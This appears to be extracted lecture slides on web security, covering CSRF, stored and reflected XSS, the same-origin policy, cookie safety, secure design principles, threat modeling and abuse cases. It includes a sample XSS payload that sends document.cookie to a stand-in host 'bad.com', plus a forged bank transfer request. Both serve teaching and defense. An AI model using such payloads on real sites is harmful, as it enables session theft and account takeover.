Cross-Site Request Forgery

- **Target**: User who has some sort of account on a vulnerable server where requests from the user’s browser to the server have a *predictable structure*

- **Attack goal**: make requests to the server via the user’s browser that look to the server like the user intended to make them

- **Attacker tools**: ability to get the user to visit a web page under the attacker’s control

- **Key tricks**:
  - Requests to the web server have predictable structure
  - Use of something like `<img src=...>` to force the victim to send it
Exploiting URLs with side-effects

Browser automatically visits the URL to obtain what it believes will be an image.

Cross-site scripting (XSS)
Javascript

- Powerful web page programming language
- Scripts are embedded in web pages returned by the web server
- Scripts are executed by the browser. They can:
  - Alter page contents (DOM objects)
  - Track events (mouse clicks, motion, keystrokes)
  - Issue web requests & read replies
  - Maintain persistent connections (AJAX)
  - Read and set cookies

Cookies

Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com

Semantics

- Store “us” under the key “edition”
- This value is no good as of Wed Feb 18…
- This value should only be readable by any domain ending in .zdnet.com
- This should be available to any resource within a subdirectory of /
- Send the cookie to any future requests to <domain>/<path>
Same Origin Policy

• Browsers provide isolation for javascript scripts via the **Same Origin Policy (SOP)**

• Browser associates **web page elements**…
  • Layout, cookies, events

• …with a given **origin**
  • The hostname (**bank.com**) that provided the elements in the first place

• **SOP = only scripts received from a web page's origin have access to the page's elements**

---

**XSS: Subverting the SOP**

• Attacker provides a malicious script

• Tricks the user's browser into believing that the script's origin is **bank.com**

• One general approach:
  • Trick the server of interest (**bank.com**) to actually send the attacker's script to the user's browser!
  • The browser will view the script as coming from the same origin… because it does!
Two types of XSS

1. Stored (or “persistent”) XSS attack
   - Attacker leaves their script on the bank.com server
   - The server later unwittingly sends it to your browser
   - Your browser, none the wiser, executes it within the same origin as the bank.com server

---

### Stored XSS attack

1. **Inject malicious script**
   
2. **Request content**
   
3. **Receive malicious script**
   
4. **Execute the malicious script as though the server meant us to run it**

5. **Perform attacker action**

   - GET http://bank.com/transfer?amt=9999&to=attacker
Stored XSS Summary

- **Target**: User with *Javascript-enabled browser* who visits *user-generated content* page on a vulnerable web service.

- **Attack goal**: run script in user’s browser with the same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy).

- **Attacker tools**: ability to leave content on the web server (e.g., via an ordinary browser). Optional tool: a server for receiving stolen user information.

- **Key trick**: Server fails to ensure that content uploaded to page does not contain embedded scripts.

Two types of XSS

1. **Stored (or “persistent”) XSS attack**
   - Attacker leaves their script on the bank.com server.
   - The server later unwittingly sends it to your browser.
   - Your browser, none the wiser, executes it within the same origin as the bank.com server.

2. **Reflected XSS attack**
   - Attacker gets you to send the bank.com server a URL that includes some Javascript code.
   - bank.com *echoes* the script back to you in its response.
   - Your browser, none the wiser, executes the script in the response within the same origin as bank.com.
Reflected XSS attack

1. Visit web site
2. Receive malicious page
3. Click on link
4. Echo user input
5. Execute the malicious script as though the server meant us to run it
6. Steal valuable data

URL specially crafted by the attacker

Echoed input

- The key to the reflected XSS attack is to find instances where a good web server will echo the user input back in the HTML response

Input from bad.com:


Result from bank.com:

```html
<html> <title> Search results </title> <body> Results for socks : . . . </body></html>
```
Exploiting echoed input

Input from bad.com:

```
<script> window.open(  
 "http://bad.com/steal?c="  
 + document.cookie)  
</script>
```

Result from bank.com:

```
<html> <title> Search results </title> 
<body> 
Results for <script> ... </script>  
...  
</body></html>
```

Browser would execute this within bank.com’s origin

Reflected XSS Summary

- **Target**: User with *Javascript-enabled browser* who a vulnerable web service that includes parts of URLs it receives in the web page output it generates

- **Attack goal**: run script in user’s browser with the same access as provided to the server’s regular scripts (i.e., subvert the Same Origin Policy)

- **Attacker tools**: ability to get user to click on a specially-crafted URL. Optional tool: a server for receiving stolen user information

- **Key trick**: Server fails to ensure that the output it generates does not contain embedded scripts other than its own
XSS Protection

- Open Web Application Security Project (OWASP):
  - **Whitelist**: Validate all headers, cookies, query strings... everything.. against a rigorous spec of what *should be allowed*
  
  - **Don’t blacklist**: Too difficult to filter/sanitize.
  
  - Principle of fail-safe defaults.

Mitigating cookie security threats

- Cookies must not be easy to guess
  
  - Randomly chosen
  
  - Sufficiently long

- **Time out** session IDs and **delete** them once the session ends
Twitter vulnerability

- Uses one cookie (auth_token) to validate user
- The cookie is a function of
  - User name
  - Password
- **auth_token weaknesses**
  - Does not change from one login to the next
  - Does not become invalid when the user logs out
- Steal this cookie once, and you can log in as the user any time you want (until password change)

XSS vs. CSRF

- Do not confuse the two:
- XSS attacks exploit the **trust** a client browser has in data sent from the legitimate website
  - So the attacker tries to control what the website sends to the client browser
- CSRF attacks exploit the **trust** the legitimate website has in data sent from the client browser
  - So the attacker tries to control what the client browser sends to the website
Principles for secure design
Ensure complete mediation

Use separation of responsibility
Defense in depth

Account for human factors ("psychological acceptability")
(a) Users must buy into the security
(b) The system must be usable
Account for human factors

Account for human factors
Account for human factors

Unable to verify the identity of svn.xiph.org as a trusted site.
Possible reasons for this error:
- Your browser does not recognise the Certificate Authority that issued the site’s certificate.
- The site’s certificate is incomplete due to a server misconfiguration.
- You are connected to a site pretending to be svn.xiph.org, possibly to obtain your confidential information.

Please notify the site’s webmaster about this problem.

Before accepting this certificate, you should examine this site’s certificate carefully. Are you willing to accept this certificate for the purpose of identifying the Web site svn.xiph.org?

Examine Certificate...
- Accept this certificate permanently
- Accept this certificate temporarily for this session
- Do not accept this certificate and do not connect to this Web site

OK Cancel

Account for human factors

Unable to verify the identity of svn.xiph.org as a trusted site.
Blah blah geekspeak geekspeak geekspeak.

Before accepting this certificate, your browser can display a second dialog full of incomprehensible information. Do you want to view this dialog?

View Incomprehensible Information
- Make this message go away permanently
- Make this message go away temporarily for this session
- Stop doing what you were trying to do

OK Cancel
Kerkhoff's principle
Making secure software

• **Flawed approach**: Design and build software, and *ignore security at first*
  • Add security once the functional requirements are satisfied

• **Better approach**: *Build security in* from the start
  • Incorporate security-minded thinking into all phases of the development process

Development process

• Many development processes; **four common phases**:
  • Requirements
  • Design
  • Implementation
  • Testing/Assurance

• Where does *security engineering* fit in?
  • **All phases!**
Security engineering

Phases
• Requirements
• Design
• Implementation
• Testing/Assurance

Note that different SD processes have different phases and artifacts, but all involve the basics above. We'll keep it simple and refer to these.

Activities

Designing secure systems

• **Model** your threats

• Define your **security requirements**
  • What distinguishes a security requirement from a typical “software feature”?

• Apply good security **design principles**
Threat Modeling

Threat Model

• The threat model makes explicit the adversary’s assumed powers
  • Consequence: The threat model must match reality, otherwise the risk analysis of the system will be wrong

• The threat model is critically important
  • If you are not explicit about what the attacker can do, how can you assess whether your design will repel that attacker?
A few different network threat models

Example: **Network User**

- An (anonymous) user that can connect to a service via the network
- Can:
  - **measure** the size and timing of requests and responses
  - run **parallel sessions**
  - provide **malformed inputs, malformed messages**
  - drop or send extra messages

**Example attacks:** SQL injection, XSS, CSRF, buffer overrun/ROP payloads, …
Example: **Snooping User**

- Internet user on the same network as other users of some service
  - For example, someone connected to an unencrypted Wi-Fi network at a coffee shop

- Thus, can additionally
  - Read/measure others’ messages,
  - Intercept, duplicate, and modify messages

- Example attacks: Session hijacking (and other data theft), privacy-violating side-channel attack, denial of service

---

**Threat-driven Design**

- Different threat models will elicit different responses

- **Only malicious users:** implies message traffic is safe
  - No need to encrypt communications
  - This is what telnet remote login software assumed

- **Snooping attackers:** means message traffic is visible
  - So use encrypted wifi (link layer), encrypted network layer (IPsec), or encrypted application layer (SSL)
    - Which is most appropriate for your system?
Bad Model = Bad Security

• Any assumptions you make in your model are potential holes that the adversary can exploit

• E.g.: Assuming no snooping users no longer valid
  • Prevalence of wi-fi networks in most deployments
• Other mistaken assumptions
  • Assumption: Encrypted traffic carries no information
    - Not true! By analyzing the size and distribution of messages, you can infer application state
  • Assumption: Timing channels carry little information
    - Not true! Timing measurements of previous RSA implementations could be used eventually reveal a remote SSL secret key

Finding a good model

• Compare against similar systems
  • What attacks does their design contend with?

• Understand past attacks and attack patterns
  • How do they apply to your system?

• Challenge assumptions in your design
  • What happens if an assumption is untrue?
    - What would a breach potentially cost you?
  • How hard would it be to get rid of an assumption, allowing for a stronger adversary?
    - What would that development cost?
Security Requirements

- **Software requirements** typically about what the **software** should do

- We also want to have **security requirements**
  - **Security-related** **goals** (or **policies**)
    - **Example**: One user's bank account balance should not be learned by, or modified by, another user, unless authorized
  - **Required mechanisms** for enforcing them
    - **Example**:
      1. Users identify themselves using passwords.
      2. Passwords must be "strong," and
      3. The password database is only accessible to login program.
Typical *Kinds* of Requirements

- Policies
  - **Confidentiality** (and Privacy and Anonymity)
  - **Integrity**
  - **Availability**

- Supporting **mechanisms**
  - **Authentication**
  - **Authorization**
  - **Audit-ability**

Supporting mechanisms

These relate identities ("**principals**") to **actions**

<table>
<thead>
<tr>
<th><strong>Authentication</strong></th>
<th><strong>Authorization</strong></th>
<th><strong>Audit-ability</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>How can a system tell <em>who a user is</em></td>
<td>How can a system tell <em>what a user is allowed to do</em></td>
<td>How can a system tell <em>what a user did</em></td>
</tr>
<tr>
<td>What we know</td>
<td>Access control policies (defines)</td>
<td>Retain enough info to determine the circumstances of a breach</td>
</tr>
<tr>
<td>What we have</td>
<td>+ <em>Mediator</em> (checks)</td>
<td></td>
</tr>
<tr>
<td>What we <em>are</em></td>
<td>&gt;1 of the above = <em>Multi-factor authentication</em></td>
<td></td>
</tr>
</tbody>
</table>
Defining Security Requirements

- Many processes for deciding security requirements

- Example: **General policy concerns**
  - Due to regulations/standards (HIPAA, SOX, etc.)
  - Due organizational values (e.g., valuing privacy)

- Example: **Policy arising from threat modeling**
  - Which **attacks** cause the **greatest concern**?
    - Who are the likely adversaries and what are their goals and methods?
  - Which **attacks** have **already occurred**?
    - Within the organization, or elsewhere on related systems?

Abuse Cases

- Abuse cases illustrate security requirements

- Where use cases describe what a system should do, abuse cases describe what it should not do

- Example **use case**: The system allows bank managers to modify an account’s interest rate
- Example **abuse case**: A user is able to spoof being a manager and thereby change the interest rate on an account
Defining Abuse Cases

- Using attack patterns and likely scenarios, construct cases in which an adversary's exercise of power could violate a security requirement
  - Based on the threat model
  - What might occur if a security measure was removed?

- **Example:** Co-located attacker steals password file and learns all user passwords
  - Possible if password file is not encrypted
- **Example:** Snooping attacker replays a captured message, effecting a bank withdrawal
  - Possible if messages are have no nonce